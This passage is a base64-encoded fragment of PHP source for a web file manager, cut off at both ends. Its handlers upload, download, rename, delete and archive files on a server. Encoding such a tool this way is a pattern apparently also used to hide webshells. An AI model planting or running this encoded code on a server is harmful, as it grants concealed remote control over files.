AgICAgICAgICAgaWYgKCRmICE9ICcnKSB7CiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpOwogICAgICAgICAgICAgICAgLy8gYWJzIHBhdGggZnJvbQogICAgICAgICAgICAgICAgJGZyb20gPSAkcGF0aCAuICcvJyAuICRmOwogICAgICAgICAgICAgICAgLy8gYWJzIHBhdGggdG8KICAgICAgICAgICAgICAgICRkZXN0ID0gJGNvcHlfdG9fcGF0aCAuICcvJyAuICRmOwogICAgICAgICAgICAgICAgLy8gZG8KICAgICAgICAgICAgICAgIGlmICgkbW92ZSkgewogICAgICAgICAgICAgICAgICAgICRyZW5hbWUgPSBmbV9yZW5hbWUoJGZyb20sICRkZXN0KTsKICAgICAgICAgICAgICAgICAgICBpZiAoJHJlbmFtZSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkgewogICAgICAgICAgICAkbXNnID0gJG1vdmUgPyAnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnMgbW92ZWQnIDogJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIGNvcGllZCc7CiAgICAgICAgICAgIGZtX3NldF9tc2coJG1zZyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ0Vycm9yIHdoaWxlIG1vdmluZyBpdGVtcycgOiAnRXJyb3Igd2hpbGUgY29weWluZyBpdGVtcyc7CiAgICAgICAgICAgIGZtX3NldF9tc2coJG1zZywgJ2Vycm9yJyk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTsKICAgIH0KICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQoKLy8gUmVuYW1lCmlmIChpc3NldCgkX1BPU1RbJ3JlbmFtZV9mcm9tJ10sICRfUE9TVFsncmVuYW1lX3RvJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBmbV9zZXRfbXNnKCJJbnZhbGlkIFRva2VuLiIsICdlcnJvcicpOwogICAgfQogICAgLy8gb2xkIG5hbWUKICAgICRvbGQgPSB1cmxkZWNvZGUoJF9QT1NUWydyZW5hbWVfZnJvbSddKTsKICAgICRvbGQgPSBmbV9jbGVhbl9wYXRoKCRvbGQpOwogICAgJG9sZCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRvbGQpOwogICAgLy8gbmV3IG5hbWUKICAgICRuZXcgPSB1cmxkZWNvZGUoJF9QT1NUWydyZW5hbWVfdG8nXSk7CiAgICAkbmV3ID0gZm1fY2xlYW5fcGF0aChzdHJpcF90YWdzKCRuZXcpKTsKICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkbmV3KTsKICAgIC8vIHBhdGgKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQogICAgLy8gcmVuYW1lCiAgICBpZiAoZm1faXN2YWxpZF9maWxlbmFtZSgkbmV3KSAmJiAkb2xkICE9ICcnICYmICRuZXcgIT0gJycpIHsKICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJy8nIC4gJG9sZCwgJHBhdGggLiAnLycgLiAkbmV3KSkgewogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8L2I+ICcgLiBsbmcoJ3RvJykgLiAnIDxiPiVzPC9iPicsIGZtX2VuYygkb2xkKSwgZm1fZW5jKCRuZXcpKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbScpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8L2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpOwogICAgfQogICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBEb3dubG9hZAppZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHsKICAgIC8vIFZlcmlmeSB0aGUgdG9rZW4gdG8gZW5zdXJlIGl0J3MgdmFsaWQKICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2coIkludmFsaWQgVG9rZW4uIiwgJ2Vycm9yJyk7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICAvLyBDbGVhbiB0aGUgZG93bmxvYWQgZmlsZSBwYXRoCiAgICAkZGwgPSB1cmxkZWNvZGUoJF9HRVRbJ2RsJ10pOwogICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpOwogICAgJGRsID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGRsKTsgLy8gUHJldmVudCBkaXJlY3RvcnkgdHJhdmVyc2FsIGF0dGFja3MKCiAgICAvLyBEZWZpbmUgdGhlIGZpbGUgcGF0aAogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CgogICAgLy8gQ2hlY2sgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCBpcyB2YWxpZAogICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJy8nIC4gJGRsKSkgewogICAgICAgIC8vIENsb3NlIHRoZSBzZXNzaW9uIHRvIHByZXZlbnQgc2Vzc2lvbiBsb2NraW5nCiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkgewogICAgICAgICAgICBzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CiAgICAgICAgfQoKICAgICAgICAvLyBDYWxsIHRoZSBkb3dubG9hZCBmdW5jdGlvbgogICAgICAgIGZtX2Rvd25sb2FkX2ZpbGUoJHBhdGggLiAnLycgLiAkZGwsICRkbCwgMTAyNCk7IC8vIERvd25sb2FkIHdpdGggYSBidWZmZXIgc2l6ZSBvZiAxMDI0IGJ5dGVzCiAgICAgICAgZXhpdDsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8gSGFuZGxlIHRoZSBjYXNlIHdoZXJlIHRoZSBmaWxlIGlzIG5vdCBmb3VuZAogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQp9CgovLyBVcGxvYWQKaWYgKCFlbXB0eSgkX0ZJTEVTKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiAiSW52YWxpZCBUb2tlbi4iKTsKICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gIlRva2VuIE1pc3NpbmcuIik7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOwogICAgICAgIGV4aXQoKTsKICAgIH0KCiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107CiAgICAkY2h1bmtUb3RhbCA9ICRfUE9TVFsnZHp0b3RhbGNodW5rY291bnQnXTsKICAgICRmdWxsUGF0aElucHV0ID0gZm1fY2xlYW5fcGF0aCgkX1JFUVVFU1RbJ2Z1bGxwYXRoJ10pOwoKICAgICRmID0gJF9GSUxFUzsKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAkZXJyb3JzID0gMDsKICAgICR1cGxvYWRzID0gMDsKICAgICRhbGxvd2VkID0gKEZNX1VQTE9BRF9FWFRFTlNJT04pID8gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pIDogZmFsc2U7CiAgICAkcmVzcG9uc2UgPSBhcnJheSgKICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLAogICAgICAgICdpbmZvJyAgID0+ICdPb3BzISBUcnkgYWdhaW4nCiAgICApOwoKICAgICRmaWxlbmFtZSA9ICRmWydmaWxlJ11bJ25hbWUnXTsKICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107CiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19GSUxFTkFNRSkgIT0gJycgPyBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSkgOiAnJzsKICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7CgogICAgaWYgKCFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmaWxlbmFtZSkgJiYgIWZtX2lzdmFsaWRfZmlsZW5hbWUoJGZ1bGxQYXRoSW5wdXQpKSB7CiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoCiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICdpbmZvJyAgICAgID0+ICJJbnZhbGlkIEZpbGUgbmFtZSEiLAogICAgICAgICk7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOwogICAgICAgIGV4aXQoKTsKICAgIH0KCiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzOwogICAgaWYgKGlzX3dyaXRhYmxlKCR0YXJnZXRQYXRoKSkgewogICAgICAgICRmdWxsUGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZ1bGxQYXRoSW5wdXQ7CiAgICAgICAgJGZvbGRlciA9IHN1YnN0cigkZnVsbFBhdGgsIDAsIHN0cnJwb3MoJGZ1bGxQYXRoLCAiLyIpKTsKCiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHsKICAgICAgICAgICAgJG9sZCA9IHVtYXNrKDApOwogICAgICAgICAgICBta2RpcigkZm9sZGVyLCAwNzc3LCB0cnVlKTsKICAgICAgICAgICAgdW1hc2soJG9sZCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkgewogICAgICAgICAgICBpZiAoJGNodW5rVG90YWwpIHsKICAgICAgICAgICAgICAgICRvdXQgPSBAZm9wZW4oInskZnVsbFBhdGh9LnBhcnQiLCAkY2h1bmtJbmRleCA9PSAwID8gIndiIiA6ICJhYiIpOwogICAgICAgICAgICAgICAgaWYgKCRvdXQpIHsKICAgICAgICAgICAgICAgICAgICAkaW4gPSBAZm9wZW4oJHRtcF9uYW1lLCAicmIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGluKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTl9JRCA8IDgwMDA5KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyB3b3JrYXJvdW5kIGh0dHBzOi8vYnVncy5waHAubmV0L2J1Zy5waHA/aWQ9ODExNDUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKDs7KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRidWZmID09PSBmYWxzZSB8fCAkYnVmZiA9PT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkb3V0LCAkYnVmZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJlYW1fY29weV90b19zdHJlYW0oJGluLCAkb3V0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdzdWNjZXNzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCIKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gImZhaWxlZCB0byBvcGVuIG91dHB1dCBzdHJlYW0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2Vycm9yRGV0YWlscycgPT4gZXJyb3JfZ2V0X2xhc3QoKQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRpbik7CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkb3V0KTsKICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7CgogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCIKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtIgogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKCRjaHVua0luZGV4ID09ICRjaHVua1RvdGFsIC0gMSkgewogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRleHRfMSA9ICRleHQgPyAnLicgLiAkZXh0IDogJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRwYXRoIC4gJy8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZnVsbFBhdGhUYXJnZXQgPSAkZnVsbFBhdGg7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHJlbmFtZSgieyRmdWxsUGF0aH0ucGFydCIsICRmdWxsUGF0aFRhcmdldCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSBpZiAobW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwgJGZ1bGxQYXRoKSkgewogICAgICAgICAgICAgICAgLy8gQmUgc3VyZSB0aGF0IHRoZSBmaWxlIGhhcyBiZWVuIHVwbG9hZGVkCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZ1bGxQYXRoKSkgewogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCIKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nICAgPT4gJ0NvdWxkblwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLicKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiAiRXJyb3Igd2hpbGUgdXBsb2FkaW5nIGZpbGVzLiBVcGxvYWRlZCBmaWxlcyAkdXBsb2FkcyIsCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgKICAgICAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJywKICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXCd0IHdyaXRlYWJsZS4nCiAgICAgICAgKTsKICAgIH0KICAgIC8vIFJldHVybiB0aGUgcmVzcG9uc2UKICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsKICAgIGV4aXQoKTsKfQoKLy8gTWFzcyBkZWxldGluZwppZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgewoKICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAkZXJyb3JzID0gMDsKICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddOwogICAgaWYgKGlzX2FycmF5KCRmaWxlcykgJiYgY291bnQoJGZpbGVzKSkgewogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICBpZiAoJGYgIT0gJycpIHsKICAgICAgICAgICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGY7CiAgICAgICAgICAgICAgICBpZiAoIWZtX3JkZWxldGUoJG5ld19wYXRoKSkgewogICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICB9CgogICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBQYWNrIGZpbGVzIHppcCwgdGFyCmlmIChpc3NldCgkX1BPU1RbJ2dyb3VwJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgKGlzc2V0KCRfUE9TVFsnemlwJ10pIHx8IGlzc2V0KCRfUE9TVFsndGFyJ10pKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygiSW52YWxpZCBUb2tlbi4iKSwgJ2Vycm9yJyk7CiAgICB9CgogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICAkZXh0ID0gJ3ppcCc7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CgogICAgLy9zZXQgcGFjayB0eXBlCiAgICAkZXh0ID0gaXNzZXQoJF9QT1NUWyd0YXInXSkgPyAndGFyJyA6ICd6aXAnOwoKICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddOwogICAgJHNhbml0aXplZF9maWxlcyA9IGFycmF5KCk7CgogICAgLy8gY2xlYW4gcGF0aAogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgYXJyYXlfcHVzaCgkc2FuaXRpemVkX2ZpbGVzLCBmbV9jbGVhbl9wYXRoKCRmaWxlKSk7CiAgICB9CgogICAgJGZpbGVzID0gJHNhbml0aXplZF9maWxlczsKCiAgICBpZiAoIWVtcHR5KCRmaWxlcykpIHsKICAgICAgICBjaGRpcigkcGF0aCk7CgogICAgICAgIGlmIChjb3VudCgkZmlsZXMpID09IDEpIHsKICAgICAgICAgICAgJG9uZV9maWxlID0gcmVzZXQoJGZpbGVzKTsKICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTsKICAgICAgICAgICAgJHppcG5hbWUgPSAkb25lX2ZpbGUgLiAnXycgLiBkYXRlKCd5bWRfSGlzJykgLiAnLicgLiAkZXh0OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7CiAgICAgICAgfQoKICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykgewogICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpOwogICAgICAgICAgICAkcmVzID0gJHppcHBlci0+Y3JlYXRlKCR6aXBuYW1lLCAkZmlsZXMpOwogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7CiAgICAgICAgICAgICR0YXIgPSBuZXcgRk1fWmlwcGVyX1RhcigpOwogICAgICAgICAgICAkcmVzID0gJHRhci0+Y3JlYXRlKCR6aXBuYW1lLCAkZmlsZXMpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCRyZXMpIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJHppcG5hbWUpKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTsKICAgIH0KCiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7Cn0KCi8vIFVucGFjayB6aXAsIHRhcgppZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgewoKICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTsKICAgICR1bnppcCA9IGZtX2NsZWFuX3BhdGgoJHVuemlwKTsKICAgICR1bnppcCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICR1bnppcCk7CiAgICAkaXNWYWxpZCA9IGZhbHNlOwoKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQoKICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICcvJyAuICR1bnppcCkpIHsKICAgICAgICAkemlwX3BhdGggPSAkcGF0aCAuICcvJyAuICR1bnppcDsKICAgICAgICAkZXh0ID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgICRpc1ZhbGlkID0gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgfQoKICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgIGlmICgkaXN